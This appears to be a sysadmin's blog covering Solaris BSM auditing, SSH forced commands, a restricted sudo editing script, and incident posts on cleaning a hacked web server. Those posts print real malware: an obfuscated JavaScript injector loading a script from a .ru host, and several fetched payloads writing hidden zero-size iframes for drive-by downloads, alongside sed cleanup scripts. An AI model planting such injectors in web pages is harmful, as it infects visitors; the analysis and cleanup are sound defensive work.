Tuesday, October 26, 2010

Finding Failed Logins in Solaris using C2 Log

In Linux, you have lastb - last bad logins, to log failed logins. In Solaris, you can register it using loginlog(4). but it is not turn on by default.

If your environment enables auditing (aka BSM - Basic Security Module, or C2), you can extract the login information. Default setting for BSM includes login / logout. With auditreduce, you can extrace the lo (login/logout) class from the audit log. Below one-liner will help you to extract those logins.

root@chihung# auditreduce -a 20101025000000 -u chihung \
 -c lo /var/audit/20101024164715.not_terminated.chihung | praudit -l
header,85,2,ftp access,,chihung7,2010-10-25 11:37:59.141+08:00,subject,chihung,chihung,chihung,root,root,4675,4675,633 131093 host1.chihung.chan,text,bad password,return,failure,1
header,69,2,login - ssh,,chihung4,2010-10-25 11:52:19.537+08:00,subject,chihung,chihung,chihung,chihung,chihung,157,4071257189,37622 host2.chihung.chan,return,failure,Maximum number of attempts exceeded
header,69,2,login - ssh,,chihung2,2010-10-25 11:52:43.658+08:00,subject,chihung,chihung,chihung,chihung,chihung,327,372387060,376131094 host3.chihung.chan,return,failure,Permission denied

Labels: ,

Friday, May 21, 2010

Papers from Web 2.0 Security and Privacy 2010

Bruce Schneier posted Detecting Browser History. It also linked to one of the papers.

If you are interested in finding out all the papers in this conference, I blogged about how to use google. Here is the search string
site:w2spconf.com inurl:2010 inurl:papers filetype:pdf

Or this direct link. I found 14 of them.

Enjoy

Labels: ,

Malware Attack, Reply Comment

I refer to the recent comment from my previous malware attack posted 1.5 years ago. Basically the obscure script carried out a lot of substitutions to avoid any firewall filter.

Below is a sample my friend sent me 3 months ago.

/*GNU GPL*/ try{window.onload = function(){var Qq73s8yh02ptue2rq = document.createElement('s&(^c@#r$^i(@)p&@t($&'.replace(/#|\!|\(|&|@|\$|\

^|\)/ig, ''));Qq73s8yh02ptue2rq.setAttribute('type',
'text/javascript');Qq73s8yh02ptue2rq.setAttribute('src',
'h!!t(#(t#)^p(^!(:&$/$$$/$@)&h!^c&3$6^))#^0&-@!&c!o$()m&^&.))g(l^((o)b&$
#e&!)@7#^.!(c)##)o@)m#^.(@$k#(&)i^n$)#o^^@(-#)&$t@@^o)!.!@$^v)&i!@)e^#w&
h$&o&&m)((e#s)$!a@$l^^e).$(r)^&u(:(((!8&^@0!!8)))0^/#!)f#@r!i&&!)e$n&d&f
!$e&#e)$d)^.!c(^o)()^m^/@$f#(^!r#^@&@i(^e&n@(&(d$!f&!#e#!e@@$#@d).^!c#^^
^o^@!!m)($/$b!l#u^^$^e&$@@#h@^o))&!s#@$$t&#.@@@c)^(&o@m()^/$(^v^^$#e#o$#
h)(&.^$@c)(o^$)$m&/#g(!^o^^o!(^g@!&l!^#!^e&.&@c)!o)@&m!/(#!^^'.replace(/
\$|\(|@|\!|\)|#|\^|&/ig, ''));Qq73s8yh02ptue2rq.setAttribute('defer',
'defer');Qq73s8yh02ptue2rq.setAttribute('id',
'U&!^(y&$2(#3^9#^b)$$x^#k#^@9##)5(&t#@'.replace(/&|\!|\)|\^|\(|\$|@|#/ig
, ''));document.body.appendChild(Qq73s8yh02ptue2rq);}} catch(e) {} 

After ran through the browser JavaScript interpreter, you will get the below. It will dynamically create a <script> element which will be load up automatically.

/*GNU GPL*/ try{window.onload = function(){
 var Qq73s8yh02ptue2rq = document.createElement('script'));
 Qq73s8yh02ptue2rq.setAttribute('type','text/javascript');
 Qq73s8yh02ptue2rq.setAttribute('src','http://hc360-com.globe7.com.kino-to.viewhomesale.ru:8080/friendfeed.com/friendfeed.com/bluehost.com/veoh.com/google.com/'));
 Qq73s8yh02ptue2rq.setAttribute('defer','defer');
 Qq73s8yh02ptue2rq.setAttribute('id','Uy239bxk95t');
 document.body.appendChild(doc);}
} catch(e) {} 

If your html/js appear to have any window.onload which does not belong to your own stuff, you can apply the same trick by running 'sed' to clean it up.

Labels: ,

Tuesday, November 04, 2008

Solaris - Basic Security Module, Default Setting

In Solaris, the default setting for the Basic Security Model (a.k.a C2 level auditing) is turned off. To turn it on, you need to run /etc/security/bsmconv followed by a reboot. The default auditing is controlled by a few files, namely
  • /etc/security/audit_startup which set the policy
    #! /bin/sh
    #
    # Copyright 2004 Sun Microsystems, Inc.  All rights reserved.
    # Use is subject to license terms.
    #
    # ident "@(#)audit_startup.txt  1.1     04/06/04 SMI"
    
    /usr/bin/echo "Starting BSM services."
    /usr/sbin/auditconfig -setpolicy +cnt
    /usr/sbin/auditconfig -conf
    /usr/sbin/auditconfig -aconf
    
    
         -aconf
             Set   the   non-attributable   audit   mask   from   the
             audit_control(4) file.
         -conf
             Configure kernel audit event to class mappings.  Runtime
             class  mappings  are changed to match those in the audit
             event to class database file.
         -setpolicy
             cnt      Do not suspend processes when  audit  resources
                      are  exhausted. Instead, drop audit records and
                      keep a count of the number of records  dropped.
                      By  default,  process are suspended until audit
                      resources become available.
    
  • /etc/security/audit_user - level of logging per use
    #
    # Copyright (c) 1988 by Sun Microsystems, Inc.
    #
    # ident "@(#)audit_user.txt     1.6     00/07/17 SMI"
    #
    #
    # User Level Audit User File
    #
    # File Format
    #
    #       username:always:never
    #
    root:lo:no
    
  • /etc/security/audit_control
    #
    # Copyright (c) 1988 by Sun Microsystems, Inc.
    #
    # ident "@(#)audit_control.txt  1.4     00/07/17 SMI"
    #
    dir:/var/audit
    flags:
    minfree:20
    naflags:lo
    

In the above, the default is to always audit the login/logout (lo) of root and never audit "invalid class" (no). Here is the tabulated audit class (/etc/security/audit_class)

ClassDescriptionDefault
noinvalid class
frfile read
fwfile write
fafile attribute access
fmfile attribute modify
fcfile create
fdfile delete
clfile close
ntnetwork
ipipc
nanon-attribute
lologin or logoutroot
apapplication
sschange system state
assystem-wide administration
uauser administration
amadministrative (meta-class)
aaaudit utilization
adold administrative (meta-class)
psprocess start/stop
pmprocess modify
pcprocess (meta-class)
xpX - privileged/administrative operations
xcX - object create/destroy
xsX - operations that always silently fail, if bad
xxX - all X events (meta-class)
ioioctl
exexec
otother
allall classes (meta-class)

In my previsous blog, I mentioned how I configured BSM to keep track of user commands (with arguments) executed in a login session.

For details of a specific class, you need to refer to the /etc/security/audit_event event. For example, the login/logout ("lo") class, it consists of the following events. Basically it covers all kinds of login and logout

# egrep ':lo$' /etc/security/audit_event
6152:AUE_login:login - local:lo
6153:AUE_logout:logout:lo
6154:AUE_telnet:login - telnet:lo
6155:AUE_rlogin:login - rlogin:lo
6158:AUE_rshd:rsh access:lo
6159:AUE_su:su:lo
6162:AUE_rexecd:rexecd:lo
6163:AUE_passwd:passwd:lo
6164:AUE_rexd:rexd:lo
6165:AUE_ftpd:ftp access:lo
6171:AUE_ftpd_logout:ftp logout:lo
6172:AUE_ssh:login - ssh:lo
6173:AUE_role_login:role login:lo
6212:AUE_newgrp_login:newgrp login:lo
6213:AUE_admin_authenticate:admin login:lo
6221:AUE_screenlock:screenlock - lock:lo
6222:AUE_screenunlock:screenlock - unlock:lo
6227:AUE_zlogin:login - zlogin:lo

Labels: ,

Saturday, November 01, 2008

Utility to Add/Del/Mod Configuration File

In UNIX, root (or administrator) can delegrate some of the commands to non-privilege users to carry out system administrative tasks by using sudo or RBAC (available only in Solaris

Configuation files like /etc/passwd and /etc/group have equivalent utilities (useradd, usermod, userdel, groupadd, groupmod, groupdel) to handle them properly. However, other configuration files have to rely on vi to do the editing. If someone is given the sudo to vi any file, he/she can sudo vi /etc/sudoers to temporarily include him/her to run any command.

Below script is a 'proof-of-concept' script that you may be able to allow sudo to run to add/del/mod entry in any ascii configuration file. Therefore, no need to allow vi in the sudo. BTW, only pre-defined files can be modified.

#! /bin/sh


usage()
{
        echo "Usage: $0 <config-file> add <line#> <new-data>"
        echo "       if line# > total # of lines, append new-data to end of file"
        echo "Usage: $0 <config-file> del <line#>"
        echo "Usage: $0 <config-file> mod <line#> <new-data>"
}


if [ $# -lt 3 -o $# -gt 4 ]; then
        usage
        exit 1
fi
config="$1"
action="$2"
lineno="$3"


if [ ! -f $config ]; then
        echo "Error. \"$config\" does not exist"
        exit 2
fi


#
# only allow to edit the following files in the list
#
allow="hosts defaultrouter services"
found=0
for cfg in $allow
do
        if [ `basename $config` = "$cfg" ]; then
                found=1
                break
        fi
done
if [ $found -eq 0 ]; then
        echo "Error. You can only edit \"$allow\" files"
        exit 2
fi


#
# lineno <= total
#
total=`wc -l $config | awk '{print $1}'`
if [ $lineno -gt $total ]; then
        lineno=$total
fi


#
# case - add/del/mod
#
case $action in
add)
        newdata="$4"
ex -s "$config" << EOF
${lineno}a
$newdata
.
wq!
EOF
        ;;

del)
ex -s "$config" << EOF
${lineno}d
wq!
EOF
        ;;

mod)
        newdata="$4"
ex -s "$config" << EOF
${lineno}c
$newdata
.
wq!
EOF
        ;;

*)
        usage
        exit 1
        ;;
esac

In order to accomplish the above task, we need to work with primitive command like ex. It may not be easy to find out what are the commands to feed to "ex". In UNIX Power Tool 3rd Ed Chapter 20, it showed that you can use diff -e to find out all the "ex" commands. Here is an illustration. Suppose you want to add 10.0.11.3 monitor to line 5 in the 'hosts' file, all you have to do is to a diff between the new and original file.

$ cat /etc/hosts
127.0.0.1      localhost
10.0.1.11      master loghost
10.0.11.1      gateway
10.0.11.2      storage
10.0.11.12     peter
10.0.11.13     bruce
10.0.11.14     elvis
10.0.11.15     alan
10.0.11.16     chris
10.0.11.17     andy
10.0.11.18     tony
10.0.11.19     cliff
10.0.11.20     richard

$ cat /tmp/hosts.modified
127.0.0.1      localhost
10.0.1.11      master loghost
10.0.11.1      gateway
10.0.11.2      storage
10.0.11.3      monitor
10.0.11.12     peter
10.0.11.13     bruce
10.0.11.14     elvis
10.0.11.15     alan
10.0.11.16     chris
10.0.11.17     andy
10.0.11.18     tony
10.0.11.19     cliff
10.0.11.20     richard

$ diff -e /etc/hosts /tmp/hosts.modified
5a
10.0.11.3      monitor
.
In this example, all you need to program in your script to include 10.0.11.3 monitor using ex will be:
ex -s /etc/hosts << EOF
5a
10.9.8.7   mon
.
wq!
EOF

You may want to program in the script to backup the configuration file before any modification.

Labels: , ,

Friday, August 22, 2008

Restrict SSH to Run A Specific Command

You may know that if you were to include your ssh public key in the remote host's authorized_keys file, you can ssh/scp into that remote machine without password login. This will enable administrator to program script to run without having to interactive with it.

However, not everyone know (I did not know at first) that you can restrict (or force) the ssh session to just execute a particular command. Below shows you how to generate a specifiy public/private key pair (monitoring, monitoring.pub), include the monitoring.pub public key in the remote authorized_keys and prepend that with "command=....". So next time you ssh into this remote machine with the monitoring key using the -i flag, the remote system will automatically run the command.

I used this technqiue to run some of the monitoring scripts installed across a few remote servers. This provides some form of flexiblity without compromising security.

myhost:

chihung@myhost$ cd ~/.ssh

chihung@myhost$ ssh-keygen -t rsa -f monitoring
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in monitoring.
Your public key has been saved in monitoring.pub.
The key fingerprint is:
6c:00:82:a5:b1:38:c0:e1:83:e3:c1:7d:82:48:d2:12 chihung@myhost

chihung@myhost$ cat monitoring.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwyAsd3AkcO2Oi3nN71WCTdSg/HXlyA3m74TBqSiAygE7XanwiyhpspFHtM3QFZhZRoqTjUyXwC1qbJyD2fNA2U7JtxBU1x5FCcDoLEIzVR4qplAN5cVFrN7SS4Ee49RRLDVdVV+RIGZdiDe9dqGfaVAKi1pqmvsDJez8AnjAg0U= chihung@myhost

remote:

chihung@remote$ cd .ssh

chihung@remote$ cat authorized_keys
command="/usr/local/bin/my-monitoring.sh" ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAwyAsd3AkcO2Oi3nN71WCTdSg/HXlyA3m74TBqSiAygE7XanwiyhpspFHtM3QFZhZRoqTjUyXwC1qbJyD2fNA2U7JtxBU1x5FCcDoLEIzVR4qplAN5cVFrN7SS4Ee49RRLDVdVV+RIGZdiDe9dqGfaVAKi1pqmvsDJez8AnjAg0U= chihung@myhost

chihung@remote$ ls -l authorized_keys
-rw-------  1 chihung chihung  264 Aug 19 21:37 authorized_keys


chihung@myhost$ ssh -i ~/.ssh/monitoring chihung@remote
...
...

PS. Thanks to Ben who highlighted the security loophole in the remote authorized_keys. See comment

Labels: ,

Wednesday, August 06, 2008

Malware Attack, Part 2

As I mentioned in yesterday's blog, the server was under Malware attack again. This time I realised that 700+ HTML files got the embedded "<script>...</script>" script reference. Worse, the pattern repeated 3-4 times on the same line with different script references. Also, I realised that the owner of the files have been changed to 'root' instead of the real owner.

I found 3 unique script references and they all used the same IFRAME approach to plant the attack

$ curl http://www.porv.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}

$ curl http://www.8hcs.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}
$ curl http://www.uhwc.ru/js.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n
!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&
&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ibse.ru/cgi-bin/index.cgi?ad width=0 height=0
 frameborder=0></iframe>");
}
catch(e)
{
};
}}

I also modified my previous script to match the script reference based on regular expression in my grep and sed. I need to ensure the substitution is done globally (ie, "g" modifier) in sed. BTW, the "-i" flag did not work with extended regular expression in sed and therefore I have to go through a temp file. Here is the modified script:

#! /bin/sh

TMPFILE=".tmp-$$"
for i in `find . -type f \( -name "*.html" -o -name "*.htm" \)`
do
        grep -E '<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>' "$i" > /dev/null 2>&1
        if [ $? -eq 0 ]; then
                echo -e "Removing malware in $i ... \c"
                sed -r -e 's#<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>##g' "$i" > $TMPFILE
                grep -E '<script src=http://\w+\.(\w+\.)+\w+/.+\.js></script>' $TMPFILE > /dev/null 2>&1
                if [ $? -eq 0 ]; then
                        echo "*** NOT OK ***"
                else
                        mv $TMPFILE "$i"
                        echo "Ok."
                fi
        fi
done 

Labels: ,

Tuesday, August 05, 2008

Malware Attack

Last Wednesday, my colleague was telling me that one of our servers was attacked by Malware and his Firefox 3 browser "Reported Attack Site!"

I was wondering how they know that our server is suspected of malware attack. After some Googling, I found the following articles to be very useful in understanding this new type of attack called Drive-by Download

Basically a couple of ways to embed malware script in your server via:

  • public forum that allow users to embed any HTML codes such as IFRAME, SCRIPT
  • advertisements to untrusted content, difficult to maintain trust along such long advertisement delivery chains
  • exploit vulnerability in the browser or one of its plugins
  • exploit vulnerability in the server

Today, my boss was telling us that the Linux server is under malware attack and asked whether I 'know' Linux. Whenever people ask whether I 'know' something, I need them to define what is 'know'. Anyway, this is a golden opportunity for me to have first hand 'encounter' with Malware. After some traversing the directory, I found 200+ web pages has the this javascript embedded at the end of pages
<script src=http://www.kr92.ru/fgg.js></script>
This pattern tallies with what the above articles described. It is time to clean up all these pages. I remember this blog showed a very handy way to edit file using sed without having to create temporary file. "-i" flag in sed allows you to edit the file directory (FYI, sed in Solaris does not have this flag available). Here is my on-the-fly created script:

#! /bin/sh

for i in `find . -type f \( -name "*.html" -o -name "*.htm" \)`
do
        grep "www.kr92.ru" $i > /dev/null 2>&1
        if [ $? -eq 0 ]; then
                echo "Removing www.kr92.ru - $i ..."
                sed -i -e 's#<script src=http://www.kr92.ru/fgg.js></script>##' $i
                grep "www.kr92.ru" $i > /dev/null 2>&1
                if [ $? -eq 0 ]; then
                        echo Unsuccessful
                else
                        echo OK
                fi
        fi
done

Wanna to find out what is inside http://www.kr92.ru/fgg.js

$ curl http://www.kr92.ru/fgg.js
window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="ZH-MO")&&(n!="ZH-HK")&&(n!="BN")&&(n!="GU")&&(n!="NE")&&(n!="PA")&&(n!="ID")&&(n!="EN-PH")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("v1goo=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = "v1goo=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://ojns.ru/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>");
}
catch(e)
{
};
}}

Apparently it is trying to include an IFRAME (http://ojns.ru/cgi-bin/index.cgi?ad) with zero width by zero height in your page.

According to this article, it reported 200+ different form of script references. Scary, isn't it. While I was writing this blog, my boss told me that the main page has this embedded.
<script src=http://www.8hcs.ru/js.js></script>

Likely I have to modify my script to cater for various forms of script reference, some regular expression matching to catch all those culprits.

Labels: ,

Thursday, June 26, 2008

I Knew What You Did In Your Sessions

This blog title sounds like the 1997 movie I Knew What You Did Last Summer. Yes indeed, but in Solaris operating system, not in cinema. By turning on the auditing feature in Solaris, you can really tell what the user did in all his/her sessions. However the default setting in audit_control does not capture the execve system call. In order to find out the command executed together with the argument supplied to it, you need to include the "ex" in the flags: in /etc/security/audit_control and include "/usr/sbin/auditconfig -setpolicy +argv" in /etc/security/audit_startup This is what I have in my demo server:
# egrep -v '^#' /etc/security/audit_control
dir:/var/audit
flags:lo,fc,fm,fd,ex,xp,xc,xs,xx,fa
minfree:20
naflags:lo

# egrep -v '^#' /etc/security/audit_startup
/usr/bin/echo "Starting BSM services."
/usr/sbin/auditconfig -setpolicy +cnt
/usr/sbin/auditconfig -setpolicy +arg
/usr/sbin/auditconfig -conf
/usr/sbin/auditconfig -aconf

Once that has been configured properly, you can start the auditing by rebooting the server.

# cd /etc/security

# ./bsmconv
This script is used to enable the Basic Security Module (BSM).
Shall we continue with the conversion now? [y/n] y
bsmconv : INFO : checking startup file .
bsmconv : INFO : turning on audit module .
bsmconv : INFO : initializing device allocation .
The Basic Security Module is ready .
If there were any errors , please fix them now .
Configure BSM by editing files located in /etc/ security .
Reboot this system now to come up with BSM enabled .

# reboot


----- wait for the system to boot up -----



# svcs | grep "auditd"
online 23:30:03 svc:/system/auditd:default

The default location for the audit trail is in /var/audit. It is best practice to ensure you have sufficient space in this directory and /var (or /var/audit) is a separate partition because the audit trail file grows very fast in a production system. The audit trail files are stored in binary format and the data structure is described in audit.log. Two built-in utilities are provided in Solaris to streamline the audit reporting, they are auditreduce and praudit. The praudit default output is pretty hard to understand and comma separated variable output is not in fix-field format

# auditreduce | praudit | head
file,2008-06-23 10:56:27.000 +08:00,
header,44,2,system booted,na,2008-06-23 10:56:27.330 +08:00
text,booting kernel
header,145,2,open(2) - read,,solaris11,2008-06-23 11:02:51.437 +08:00
path,/devices/pseudo/pool@0:pool
attribute,20666,root,sys,336,118489094,970662608897
subject,chihung,root,root,root,root,674,2971128068,787 65558 10.1.2.84
return,success,7
header,120,2,open(2) - read,write,sp,solaris11,2008-06-23 11:02:51.467 +08:00
path,/var/adm/lastlog

However, if you read the man page of praudit, you will realise that it can dump the audit trail in XML. Here is a sample dump:

# auditreduce | praudit -x | head -50
<?xml version='1.0' encoding='UTF-8' ?>
<?xml-stylesheet type='text/xsl' href='file:///usr/share/lib/xml/style/adt_record.xsl.1' ?>

<!DOCTYPE audit PUBLIC '-//Sun Microsystems, Inc.//DTD Audit V1//EN' 'file:///usr/share/lib/xml/dtd/adt_record.dtd.1'>

<audit>
<file iso8601="2008-06-24 13:14:44.000 +08:00"></file>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.536 +08:00">
<argument arg-num="2" value="0x4" desc="cmd"/>
<argument arg-num="1" value="0x6" desc="no path: fd"/>
<attribute mode="10000" uid="root" gid="root" fsid="344" nodeid="323" device="0"/>
<subject audit-uid="chihung" uid="root" gid="root" ruid="root" rgid="root" pid="704" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.536 +08:00">
<argument arg-num="2" value="0x4" desc="cmd"/>
<argument arg-num="1" value="0x7" desc="no path: fd"/>
<attribute mode="10000" uid="root" gid="root" fsid="344" nodeid="323" device="0"/>
<subject audit-uid="chihung" uid="root" gid="root" ruid="root" rgid="root" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.542 +08:00">
<argument arg-num="2" value="0x3" desc="cmd"/>
<argument arg-num="1" value="0x5" desc="no path: fd"/>
<attribute mode="10000" uid="chihung" gid="other" fsid="344" nodeid="324" device="0"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="2"/>
</record>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.542 +08:00">
<argument arg-num="2" value="0x4" desc="cmd"/>
<argument arg-num="1" value="0x5" desc="no path: fd"/>
<attribute mode="10000" uid="chihung" gid="other" fsid="344" nodeid="324" device="0"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.542 +08:00">
<argument arg-num="2" value="0x3" desc="cmd"/>
<argument arg-num="1" value="0x6" desc="no path: fd"/>
<attribute mode="10000" uid="chihung" gid="other" fsid="344" nodeid="324" device="0"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="2"/>
</record>
<record version="2" event="fcntl(2)" host="solaris11" iso8601="2008-06-24 13:14:44.542 +08:00">
<argument arg-num="2" value="0x4" desc="cmd"/>
<argument arg-num="1" value="0x6" desc="no path: fd"/>
<attribute mode="10000" uid="chihung" gid="other" fsid="344" nodeid="324" device="0"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>
<record version="2" event="access(2)" host="solaris11" iso8601="2008-06-24 13:14:44.547 +08:00">
<path>/dev/pts/1</path>
<attribute mode="20620" uid="chihung" gid="tty" fsid="337" nodeid="5942560" device="103079215105"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>
<record version="2" event="stat(2)" host="solaris11" iso8601="2008-06-24 13:14:44.548 +08:00">
<path>/dev/pts/1</path>
<attribute mode="20620" uid="chihung" gid="tty" fsid="337" nodeid="5942560" device="103079215105"/>
<subject audit-uid="chihung" uid="chihung" gid="other" ruid="chihung" rgid="other" pid="707" sid="1932086420" tid="639 65558 10.1.2.84"/>
<return errval="success" retval="0"/>
</record>

"sid" is the session ID and it is not difficult to find out how many records for all the sessions using Tcl (with tDOM extension). Once we locate the session ID, we can dump out all the execve commands and there corresponding arguments. auditreduce is able merge and select audit records from audit trail files, -a and -b flags to dump audit records between two timestamps. See the man page for all other options to reduce the audit trail output before it is piped to praudit.

$ ./sid.tcl
Usage: ./sid.tcl <xmlfile> <user>

$ ./sid.tcl sample.xml chihung
3331057518=19
2156193989=19
2283295222=19
740162063=177
3244834577=22
1932086420=387

$ ./sid-exec.tcl
Usage: ./sid-exec.tcl <xmlfile> <sid>

$ ./sid-exec.tcl sample.xml 740162063
/usr/bin/bash  ; -bash  ; success
/usr/lib/fs/ufs/quota  ; /usr/sbin/quota  ; success
/usr/bin/cat  ; /bin/cat -s /etc/motd  ; success
/usr/bin/mail  ; /bin/mail -E  ; success
/usr/bin/hostname  ; hostname  ; success
/usr/bin/more  ; more audit_control  ; success
/usr/bin/cat  ; cat audit_startup  ; success
/usr/bin/man  ; man auditconfig  ; success
/sbin/sh  ; sh -c cd /usr/man; tbl /usr/man/man1m/auditconfig.1m |neqn /usr/share/lib/pub/eqnchar - |nroff -u0 -Tlp -man - | col -x > /tmp/mpTkaODb  ; success
/usr/bin/col  ; col -x  ; success
/usr/bin/tbl  ; tbl /usr/man/man1m/auditconfig.1m  ; success
/usr/bin/neqn  ; neqn /usr/share/lib/pub/eqnchar -  ; success
/usr/bin/nroff  ; nroff -u0 -Tlp -man -  ; success
/sbin/sh  ; sh -c trap '' 1 15; /usr/bin/mv -f /tmp/mpTkaODb /usr/man/cat1m/auditconfig.1m 2> /dev/null  ; success
/usr/bin/mv  ; /usr/bin/mv -f /tmp/mpTkaODb /usr/man/cat1m/auditconfig.1m  ; success
/sbin/sh  ; sh -c more -s /tmp/mpTkaODb  ; success
/usr/bin/more  ; more -s /tmp/mpTkaODb  ; success
/usr/bin/ls  ; ls  ; success
/usr/sbin/auditreduce  ; auditreduce  ; success
/usr/sbin/praudit  ; praudit  ; success
/usr/bin/su  ; su -  ; success
/sbin/sh  ; -sh  ; success
/usr/lib/fs/ufs/quota  ; /usr/sbin/quota  ; success
/usr/bin/cat  ; /bin/cat -s /etc/motd  ; success
/usr/bin/mail  ; /bin/mail -E  ; success
/usr/bin/hostname  ; hostname  ; success
/usr/sbin/auditreduce  ; auditreduce  ; success
/usr/bin/prstat  ; prstat -x  ; success
/usr/bin/sparcv9/prstat  ; prstat -x  ; success
/usr/sbin/auditreduce  ; auditreduce  ; success
/usr/sbin/praudit  ; praudit -x  ; success
/usr/sbin/auditreduce  ; auditreduce -a 20080624130000  ; success
/usr/sbin/praudit  ; praudit -x  ; success
/usr/bin/vi  ; vi /var/tmp/x  ; success
/usr/bin/grep  ; grep 2283295222 /var/tmp/x  ; success
/usr/sbin/auditreduce  ; auditreduce -a 20080624130000  ; success
/usr/sbin/praudit  ; praudit -x  ; success

Here is the sid.tcl and sid-exec.tcl

$ cat sid.tcl
#! /usr/local/bin/tclsh


if { $argc != 2 } {
        puts stderr "Usage: $argv0 <xmlfile> <user>"
        exit 1
}
set xmlfile [lindex $argv 0]
set uid [lindex $argv 1]


package require tdom


set nrec 0
set doc [dom parse [tDOM::xmlReadFile [lindex $argv 0]]]
set root [$doc documentElement]
foreach r [$root selectNodes "//subject\[@uid='$uid']"] {
        set sid [$r getAttribute sid]
        if { [info exist arraySid($sid)] } {
                incr arraySid($sid)
        } else {
                set arraySid($sid) 1
        }
}
foreach { n v } [array get arraySid] {
        puts "$n=$v"
}

$ cat sid-exec.tcl
#! /usr/local/bin/tclsh


if { $argc != 2 } {
        puts stderr "Usage: $argv0 <xmlfile> <sid>"
        exit 1
}
set xmlfile [lindex $argv 0]
set sid [lindex $argv 1]


package require tdom


set nrec 0
set doc [dom parse [tDOM::xmlReadFile [lindex $argv 0]]]
set root [$doc documentElement]
foreach r [$root selectNodes "//subject\[@sid='$sid']/.."] {
        set event [$r getAttribute event]
        if { ![string equal $event {execve(2)}] } { continue }
        foreach pNode [$r selectNodes {path/text()}] {
                puts -nonewline "[string trim [$pNode nodeValue]] "
        }
        puts -nonewline " ; "
        foreach argNode [$r selectNodes {exec_args/arg/text()}] {
                puts -nonewline "[string trim [$argNode nodeValue]] "
        }
        puts -nonewline " ; "
        puts "[[$r selectNodes {return}] getAttribute errval]"
}

Labels: , , , ,

Thursday, April 17, 2008

Bastille tried to use $GLOBAL_BIN{'ping6'} but it does not exist

A colleague of mine was having problem running Bastille to harden his RedHat Linux server. He keeps getting the following error message and cannot find any solution on the web.
ERROR: Bastille tried to use $GLOBAL_BIN{'ping6'} but it does not exist.

I heard about Bastille but have no clue how it works. Anyway, here is how I managed to provide a workaround to avoid the above error message by explicitly define the fullpath of ping6.

bastille is actually a shell script that eventually launch a Perl script to run through the hardening steps. At the beginning of the bastille script, it defines PATH and PERL5LIB. PERL5LIB is the place to explore all the other bastille perl modules (.pm). Search through all the PM files for string "GLOBAL_BIN" and I found the following files that contain the string: API.pm, API.PM.sweth and OSX_API.PM

$ which ping6
/bin/ping6


$ cat /usr/sbin/bastille
...
